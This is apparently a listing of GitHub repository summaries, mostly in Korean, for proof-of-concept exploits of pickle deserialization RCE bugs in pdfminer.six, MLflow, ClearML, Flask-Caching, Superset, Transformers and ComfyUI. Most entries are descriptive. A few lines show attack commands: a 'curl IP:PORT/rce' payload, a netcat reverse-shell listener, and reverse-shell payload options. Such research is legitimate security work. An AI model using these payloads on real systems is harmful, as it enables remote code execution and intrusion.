CVE-2025-64512

CVE-2025-64512 pdfminer.six에서 조작된 PDF 입력을 통한 임의 코드 실행 PoC https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp 기반 % python3 mkpickle.py Usage: mkpickle.py output Ex: mkpickle.py 'curl IP:PORT/rce' evil.pickle.gz % python3 mkpdf.py -h usage: mkpdf.py -h -o OUTPUT -p PAT...

CVE-2025-64512---pdfminer.six-Remote-Code-Execution-RCE-

CVE-2025-64512 - pdfminer.six 원격 코드 실행 RCE -orange 경고 – 교육 목적으로만 사용 본 개념 증명PoC은 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유한 시스템 또는 명시적인 서면 테스트 허가를 받은 시스템에서만 사용하십시오. 작성자는 이 코드로 인한 오용이나 손해에 대해 책임지지 않습니다. 설명 CVE-2025-64512 는 PDF 파일에서 텍스트와 메타데이터를 추출하는 널리 사용되는 Python 라이브러리인 pdfminer.six의 치명적인 취약점입니다. 이 결함은 악성 PD...

CVE-2024-24590-ClearML-RCE-CMD-POC

ClearML エクスプロイトスクリプト このリポジトリには、CVE-2024-24590 用の Python エクスプロイトスクリプトが含まれています。このスクリプトは、ClearML に悪意のある pickle ファイルをアップロードし、リバースシェルまたはカスタムコマンドを実行するように設計されています。 特徴 悪意のある pickle アーティファクトを ClearML にアップロードします。 ターゲットマシン上でリバースシェルまたはカスタムコマンドを実行します。 カスタムプロジェクト名とタスク名をサポートします。 タスクにタグを設定できます。 使用方法 前提条件 Python...

cve-2022-37298

CVE-2022-37298: Shinken 모니터링의 원격 코드 실행 RCE 영향받는 버전: 2.4.3 공개 링크: https://github.com/naparuba/shinken/commit/2dae40fd1e713aec9e1966a0ab7a580b9180cff2 CVE 링크: https://vulners.com/cve/CVE-2022-37298 설명 shinken/safepickle.py에 있는 SafeUnpickler 클래스는 합법적인 모니터링 노드에서 Shinken 서버로 전달되는 객체를 역직렬화할 때 약한 인증 체계사...

CVE-2021-33026

CVE-2021-33026 Pickle Serialization Remote Code Execution - Memcached Poisoning PoC Exploit What's CVE-2021-3306? "The Flask-Caching extension through 1.10.1 for Flask relies on Pickle for serialization, which may lead to remote code execution or local privilege escalation. If an attacker gains...

Apache-Superset-Remote-Code-Execution-PoC-CVE-2018-8021

Apache Superset pickle 라이브러리 코드 실행 IBM : Apache Superset은 데이터 역직렬화를 위해 pickle 라이브러리의 안전하지 않은 load 메서드를 사용하므로, 원격 공격자가 시스템에서 임의 코드를 실행할 수 있습니다. 특수하게 조작된 요청을 전송함으로써, 공격자는 이 취약점을 악용하여 시스템에서 임의 코드를 실행할 수 있습니다. 참조 : https://github.com/apache/incubator-superset/pull/4243...

CVE-2024-37054

CVE-2024-37054 — MLflow pyfunc 역직렬화 RCE 심각도: Critical 영향 대상: MLflow 0.9.0 – 2.14.1 유형: Python pickle 역직렬화를 통한 임의 코드 실행 설명 mlflow.pyfunc.loadmodel은 아티팩트 저장소에서 pythonmodel.pkl을 아무런 검증 없이 역직렬화합니다. MLflow 아티팩트 REST API에 접근할 수 있는 공격자는 해당 파일을 악성 pickle로 덮어쓸 수 있으며, 모델이 다음에 로드될 때 임의의 OS 명령이 실행됩니다. 요구 사항...

CVE-2025-64512-Polyglot-PoC

CVE-2025-64512 폴리글롯 페이로드 지난 몇 주2025년 11월 동안 PDF 파일을 처리하는 인기 있는 Python 프로젝트인 pdfminer.six에서 흥미로운 취약점CVE-2025-64512이 공개되었습니다. 특히 AI 파이프라인에서 사용됩니다. 이 취약점은 PDF 파일을 공격 벡터로 활용하여 pickle.loads를 통해 신뢰할 수 없는 데이터를 역직렬화함으로써 원격 코드 실행을 가능하게 합니다. 여기까지는 좋습니다. 인기 있는 Python 패키지의 중요한 취약점입니다. 제 관심을 끈 것은 악용 가능성이었습니다 ...

CVE-2024-37054-PoC

설명 CVE-2024-37054에 대한 개념 증명PoC으로, MLflow 0.9.02.14.1 버전의 심각한 역직렬화 취약점입니다. 악성 pyfunc 모델이 mlflow.pyfunc.loadmodel을 통해 로드되면, pickle된 페이로드가 임의의 코드를 실행합니다. 파일 exploit.py — 전체 익스플로잇: 등록, 학습, 업로드, 트리거 HTB SmartHire 머신용 buildmodel.py — 악성 모델을 로컬에서 빌드 빌드 전용 사용법 모델을 로컬에서 빌드 python3 buildmodel.py --lhost...

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE 代替アプローチ：リバースシェル＆コールバックテスト 概要 このリポジトリには、InvokeAIのRCE脆弱性（CVE-2024-12029）に対して、SSHキーインジェクションが失敗した場合の代替ペイロードアプローチが含まれています。ペイロードは、pickle逆シリアル化が実際に行われているかどうかをテストし、代替アクセス方法を提供するように設計されています。 問題の説明...

CVE-2024-37054

CVE-2024-37054 — MLflow Pickle Deserialization RCE Proof-of-concept exploit for a critical pickle deserialization vulnerability in MLflow Tracking Server, enabling authenticated remote code execution. ⚠️ For educational and authorized security testing only. Do not use against systems you do not ow...

Pickle-Deserialization-Exploit-in-Transformers

Transformers의 pickle 역직렬화 취약점 악용 실험 소개 pickle 역직렬화 메커니즘과 reduce 공격 원리를 소개하고, Hugging Face Transformers 라이브러리의 역직렬화 취약점 CVE-2024-3568을 재현하며, Transformers 라이브러리의 보안 위험을 분석하고 보안 강화를 위한 효과적인 방안을 제시합니다. 자세한 내용은 실험 PDF 문서를 참조하세요. poc 작성자 코드는 CVE-2024-3568 또는 authorinf 폴더를 참조하세요. 주요 정보 1. 취약점 위치...

rpc-rce.py

rpc.py RCE Exploit CVE-2022-35411 This is an updated and improved exploit for CVE-2022-35411 , targeting vulnerable versions of rpc.py Original exploit by : Elias Hohl Enhanced by : x7331 for usability, portability, and automation Vulnerability Summary The vulnerability lies in rpc.py's unsafe...

CVE-2025-61765_PoC

요약 python-socketio 5.14.0 이전 버전의 원격 코드 실행 취약점으로 인해, 공격자가 서버 내부 통신에 사용되는 메시지 큐에 사전에 접근 권한을 획득한 다중 서버 배포 환경에서 악성 pickle 역직렬화를 통해 임의의 Python 코드를 실행할 수 있습니다. 이 취약점에 대한 자세한 분석은 GitHub Advisory에서 확인할 수 있습니다. 실행 이 데모에는 세 개의 docker 컨테이너가 포함됩니다: 1. Redis 서버 : 메시지 브로커 역할을 합니다. 2. 취약한 Socket.IO 서버 :...

CVE-2023-37941

Exploitation of Pickle RCE within Superset's Default Cache Information Author Dinis Cruz Project Superset Description Apache's superset presents different options for caching, all of which based on Flask-Caching. A built-in cache is provided which serializes values for later retreival. This...

CVE-2026-68771_exploit

CVE-2026-68771 — ComfyUI 인증되지 않은 Pickle 역직렬화 RCE ComfyUI에서 LoadTrainingDataset 노드를 통한 인증되지 않은 원격 코드 실행. LoadTrainingDataset.execute는 torch.loadf를 사용하여 서버의 출력 디렉터리에서 데이터셋 샤드를 로드하며 weightsonly=True가 없습니다. PyTorch /tmp/pwned' 명령은 서버 에서 실행됩니다. 출력이 반환되지 않으므로 결과를 확인하려면 --shell을 사용하여 리버스 셸을 얻거나읽기 가능한 경로...

CVE-2025-64512

CVE-2025-64512 – pdfminer.six 역직렬화 PoC 개요 이 개념 증명은 pdfminer.six CVE-2025-64512의 취약점을 시연하며, 악성 PDF가 처리될 때 임의의 명령 실행으로 이어질 수 있습니다. 이 익스플로잇은 악성의 gzip 압축 Python pickle을 참조하는 조작된 PDF를 사용합니다. 취약한 애플리케이션이 PDF를 파싱하면 pickle을 로드하고 포함된 페이로드를 실행합니다. 포함된 PoC는 Python 리버스 셸을 실행하도록 구성되어 있지만, 페이로드는 어떤 명령으로든 대체할 수...

FlaskCache_CVE-2021-33026_POC

Pickle Serialization Remote Code Execution - Redis Poisoning PoC Exploit Check redis server up and running redis-cli -h 127.0.0.1 -p 6379 ping redis-cli keys redis-cli get Keyid Start listening netcat at port 10001 : nc -nvlp 10001 Setting environments for Flask Chache python -m venv venvflaskcac...

CVE-2026-23001-Hugging-Face-Transformers-Model-Deserialization-Arbitrary-Code-via-Pickle-

CVE-2026-23001 – Hugging Face Transformers 모델 역직렬화 RCE 개요 torch.save로 저장된 Hugging Face 모델은 본질적으로 안전하지 않은 Python의 pickle 직렬화를 사용합니다. 사용자가 저장소에서 겉보기에는 합법적인 모델을 다운로드하면, 이를 로드할 때 임의 코드 실행이 트리거되어 전체 환경이 손상될 수 있습니다. 취약점 세부 정보 유형: 안전하지 않은 역직렬화 영향: 원격 코드 실행 근본 원인: torch.load는 pickle 역직렬화를 샌드박스 처리하지 않습니다...

CVE-2025-64512-exploit

CVE-2025-64512 - pdfminer.six 원격 코드 실행 RCE 📋 설명 이 저장소는 CVE-2025-64512 에 대한 개념 증명 익스플로잇을 포함하고 있습니다. 이는 20251107 이전 버전의 pdfminer.six에서 발견된 치명적인 취약점입니다. 이 취약점을 통해 공격자는 악성 PDF를 업로드하여 Python의 pickle.load를 통한 안전하지 않은 역직렬화를 유발하고 원격 코드 실행RCE을 달성할 수 있습니다. ⚠️ 면책 조항 이 익스플로잇은 교육 및 승인된 테스트 목적으로만 사용됩니다. 소유한...